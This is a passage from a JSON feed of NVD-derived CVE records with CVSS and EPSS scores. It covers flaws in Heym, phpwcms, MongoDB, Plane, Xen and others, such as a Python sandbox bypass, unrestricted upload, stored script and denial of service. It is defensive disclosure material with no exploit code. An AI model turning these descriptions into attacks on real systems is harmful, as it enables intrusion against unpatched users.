use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79609","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79609","type":"primary","publishedAt":"2026-10-13T16:17:23.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79609&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79609, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55376","cveId":"CVE-2026-55376","aliases":[],"kind":"vulnerability","title":"Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure.","summary":"Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure. Prior to 0.0.40, an authenticated user who can create or edit a workflow with an Agent custom Python tool can bypass the blacklist-based sandbox in backend/app/services/python_tool_executor.py because allowed standard-library modules expose operating-system, process, and filesystem capabilities through public attributes that pass _safe_import() and _validate_code_safety(). The runner then executes the supplied tool with exec(), permitting commands and file operations as the backend application user; self-registration affects reachability, but portal triggering alone does not grant code control. This issue is fixed in 0.0.40.","detail":"Heym builds and runs agentic systems and business-process automations on self-hosted infrastructure. Prior to 0.0.40, an authenticated user who can create or edit a workflow with an Agent custom Python tool can bypass the blacklist-based sandbox in backend/app/services/python_tool_executor.py because allowed standard-library modules expose operating-system, process, and filesystem capabilities through public attributes that pass _safe_import() and _validate_code_safety(). The runner then executes the supplied tool with exec(), permitting commands and file operations as the backend application user; self-registration affects reachability, but portal triggering alone does not grant code control. This issue is fixed in 0.0.40.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:21.720Z","updatedAt":"2026-10-16T22:17:23.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55376","asOf":"2026-10-16T22:17:23.847Z"},"epss":{"probability":0.00459,"percentile":0.39491,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55376&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55376","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55376","type":"primary","publishedAt":"2026-10-13T16:17:21.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55376&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55376, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110025","cveId":"CVE-2026-110025","aliases":[],"kind":"vulnerability","title":"A flaw has been found in slackero phpwcms up to 1.9.49/1.12.3. This issue affects some unknown processing of the file include/inc_front/content/cnt23.article.inc.php of the...","summary":"A flaw has been found in slackero phpwcms up to 1.9.49/1.12.3. This issue affects some unknown processing of the file include/inc_front/content/cnt23.article.inc.php of the component Extension Check. This manipulation of the argument POST_name causes unrestricted upload. The attack can be initiated remotely. Upgrading to version 1.9.50 and 1.12.4 is capable of addressing this issue. Patch name: 118c978430f5a9668b30535f6e592c7ae8df711f/f4c136b467565b2d16ebe2b8276b9a03547a9a69/8571cb47df8d66804d1eb88ae3d1ab4fb513e1e7. Upgrading the affected component is recommended.","detail":"A flaw has been found in slackero phpwcms up to 1.9.49/1.12.3. This issue affects some unknown processing of the file include/inc_front/content/cnt23.article.inc.php of the component Extension Check. This manipulation of the argument POST_name causes unrestricted upload. The attack can be initiated remotely. Upgrading to version 1.9.50 and 1.12.4 is capable of addressing this issue. Patch name: 118c978430f5a9668b30535f6e592c7ae8df711f/f4c136b467565b2d16ebe2b8276b9a03547a9a69/8571cb47df8d66804d1eb88ae3d1ab4fb513e1e7. Upgrading the affected component is recommended.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:19.800Z","updatedAt":"2026-10-15T16:17:45.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110025","asOf":"2026-10-15T16:17:45.110Z"},"epss":{"probability":0.00375,"percentile":0.3122,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110025","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110025","type":"primary","publishedAt":"2026-10-13T16:17:19.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109605","cveId":"CVE-2026-109605","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::save_user of the file admin_class.php of the...","summary":"A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::save_user of the file admin_class.php of the component User Management. The manipulation of the argument Type leads to improper authorization. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.","detail":"A security vulnerability has been detected in SourceCodester Simple Cafe Billing System 1.0. This affects the function Action::save_user of the file admin_class.php of the component User Management. The manipulation of the argument Type leads to improper authorization. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:18.853Z","updatedAt":"2026-10-14T16:17:36.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109605","asOf":"2026-10-14T16:17:36.920Z"},"epss":{"probability":0.00354,"percentile":0.28768,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109605&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109605","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109605","type":"primary","publishedAt":"2026-10-13T16:17:18.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109605&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109605, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109525","cveId":"CVE-2026-109525","aliases":[],"kind":"vulnerability","title":"A vulnerability was identified in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown part of the file...","summary":"A vulnerability was identified in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown part of the file changebookingstatus.php of the component submit2 Handler. Such manipulation of the argument username[]/timestamp[]/status[] leads to missing authorization. The attack may be performed from remote. The exploit is publicly available and might be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was identified in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. This affects an unknown part of the file changebookingstatus.php of the component submit2 Handler. Such manipulation of the argument username[]/timestamp[]/status[] leads to missing authorization. The attack may be performed from remote. The exploit is publicly available and might be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:18.053Z","updatedAt":"2026-10-13T19:26:24.643Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109525","asOf":"2026-10-13T19:26:24.643Z"},"epss":{"probability":0.00288,"percentile":0.21157,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109525&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109525","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109525","type":"primary","publishedAt":"2026-10-13T16:17:18.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109525&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109525, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104005","cveId":"CVE-2026-104005","aliases":[],"kind":"vulnerability","title":"A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a...","summary":"A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.","detail":"A security issue was discovered in MongoDB mongos (the sharded cluster router) where an authenticated user with readWrite privileges could crash the mongos process by crafting a specially formed aggregation pipeline. The issue leverages an internal aggregation stage that lacks proper authorization checks despite being intended for internal use, allowing a subsequent stage to be forced to execute on the router under conditions it was not designed to handle. This results in an unhandled fatal error that causes the mongos process to immediately abort, resulting in denial of service for all clients routed through the affected mongos instance.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:11.137Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104005","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00235,"percentile":0.14296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104005&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104005","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104005","type":"primary","publishedAt":"2026-10-13T16:17:11.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104005&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104005, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104004","cveId":"CVE-2026-104004","aliases":[],"kind":"vulnerability","title":"MongoDB Server's collection validation feature may not properly handle certain expressions stored in a validator.","summary":"MongoDB Server's collection validation feature may not properly handle certain expressions stored in a validator. In some cases, this can cause the server process to stop running when a document is later inserted. The behavior can occur for authenticated users with write access.","detail":"MongoDB Server's collection validation feature may not properly handle certain expressions stored in a validator. In some cases, this can cause the server process to stop running when a document is later inserted. The behavior can occur for authenticated users with write access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:10.930Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104004","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00235,"percentile":0.14296,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104004&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104004","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104004","type":"primary","publishedAt":"2026-10-13T16:17:10.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104004&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104004, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102982","cveId":"CVE-2026-102982","aliases":[],"kind":"vulnerability","title":"Plane is an open-source project management tool.","summary":"Plane is an open-source project management tool. Prior to 1.4.0, the plane comments fail to sanitize unsafe URL schemes stored in comment_html. A project member can store a crafted link in a comment, and attacker-controlled script executes in the browser context of another user who selects the link. This issue is fixed in version 1.4.0.","detail":"Plane is an open-source project management tool. Prior to 1.4.0, the plane comments fail to sanitize unsafe URL schemes stored in comment_html. A project member can store a crafted link in a comment, and attacker-controlled script executes in the browser context of another user who selects the link. This issue is fixed in version 1.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:10.293Z","updatedAt":"2026-10-13T17:17:14.683Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102982","asOf":"2026-10-13T17:17:14.683Z"},"epss":{"probability":0.00353,"percentile":0.28691,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102982&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102982","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102982","type":"primary","publishedAt":"2026-10-13T16:17:10.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102982&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102982, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102702","cveId":"CVE-2026-102702","aliases":[],"kind":"vulnerability","title":"[This CNA information record relates to multiple CVEs; the\ntext explains which aspects/vulnerabilities correspond to which CVE.]\n\n1) XSA-437 (CVE-2023-34321) addressed issues with...","summary":"[This CNA information record relates to multiple CVEs; the\ntext explains which aspects/vulnerabilities correspond to which CVE.]\n\n1) XSA-437 (CVE-2023-34321) addressed issues with overflows in\n   calculations involved in guests flushing caches through\n   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a\n   calculation which may underflow, resulting in a loop which would - at\n   least on 64-bit Arm - take excessively long, and which would likely\n   eventually crash the hypervisor.\n\n   This is CVE-2026-102699.\n\n2) GNTTABOP_cache_flush may be issued on memory mapped from another\n   domain using the grant table interface.  However there was no\n   restriction to disallow the use of invalidate-without-clean against\n   read-only grant mappings, which may corrupt the granted memory.\n\n   This is CVE-2026-102702.","detail":"[This CNA information record relates to multiple CVEs; the\ntext explains which aspects/vulnerabilities correspond to which CVE.]\n\n1) XSA-437 (CVE-2023-34321) addressed issues with overflows in\n   calculations involved in guests flushing caches through\n   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a\n   calculation which may underflow, resulting in a loop which would - at\n   least on 64-bit Arm - take excessively long, and which would likely\n   eventually crash the hypervisor.\n\n   This is CVE-2026-102699.\n\n2) GNTTABOP_cache_flush may be issued on memory mapped from another\n   domain using the grant table interface.  However there was no\n   restriction to disallow the use of invalidate-without-clean against\n   read-only grant mappings, which may corrupt the granted memory.\n\n   This is CVE-2026-102702.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:09.723Z","updatedAt":"2026-10-20T18:17:16.440Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102702","asOf":"2026-10-20T18:17:16.440Z"},"epss":{"probability":0.00292,"percentile":0.21518,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102702&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102702","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102702","type":"primary","publishedAt":"2026-10-13T16:17:09.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102702&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102702, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102699","cveId":"CVE-2026-102699","aliases":[],"kind":"vulnerability","title":"[This CNA information record relates to multiple CVEs; the\ntext explains which aspects/vulnerabilities correspond to which CVE.]\n\n1) XSA-437 (CVE-2023-34321) addressed issues with...","summary":"[This CNA information record relates to multiple CVEs; the\ntext explains which aspects/vulnerabilities correspond to which CVE.]\n\n1) XSA-437 (CVE-2023-34321) addressed issues with overflows in\n   calculations involved in guests flushing caches through\n   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a\n   calculation which may underflow, resulting in a loop which would - at\n   least on 64-bit Arm - take excessively long, and which would likely\n   eventually crash the hypervisor.\n\n   This is CVE-2026-102699.\n\n2) GNTTABOP_cache_flush may be issued on memory mapped from another\n   domain using the grant table interface.  However there was no\n   restriction to disallow the use of invalidate-without-clean against\n   read-only grant mappings, which may corrupt the granted memory.\n\n   This is CVE-2026-102702.","detail":"[This CNA information record relates to multiple CVEs; the\ntext explains which aspects/vulnerabilities correspond to which CVE.]\n\n1) XSA-437 (CVE-2023-34321) addressed issues with overflows in\n   calculations involved in guests flushing caches through\n   GNTTABOP_cache_flush.  Unfortunately the fix there introduced a\n   calculation which may underflow, resulting in a loop which would - at\n   least on 64-bit Arm - take excessively long, and which would likely\n   eventually crash the hypervisor.\n\n   This is CVE-2026-102699.\n\n2) GNTTABOP_cache_flush may be issued on memory mapped from another\n   domain using the grant table interface.  However there was no\n   restriction to disallow the use of invalidate-without-clean against\n   read-only grant mappings, which may corrupt the granted memory.\n\n   This is CVE-2026-102702.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:09.510Z","updatedAt":"2026-10-20T18:17:15.180Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102699","asOf":"2026-10-20T18:17:15.180Z"},"epss":{"probability":0.00292,"percentile":0.21519,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102699&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102699","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102699","type":"primary","publishedAt":"2026-10-13T16:17:09.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102699&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102699, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97334","cveId":"CVE-2026-97334","aliases":[],"kind":"vulnerability","title":"The network messaging layer contained improper handling of highly compressed data affecting service availability.","summary":"The network messaging layer contained improper handling of highly compressed data affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe server, Web Server, Command Center, MediaAgents, clients, and HyperScale.","detail":"The network messaging layer contained improper handling of highly compressed data affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe server, Web Server, Command Center, MediaAgents, clients, and 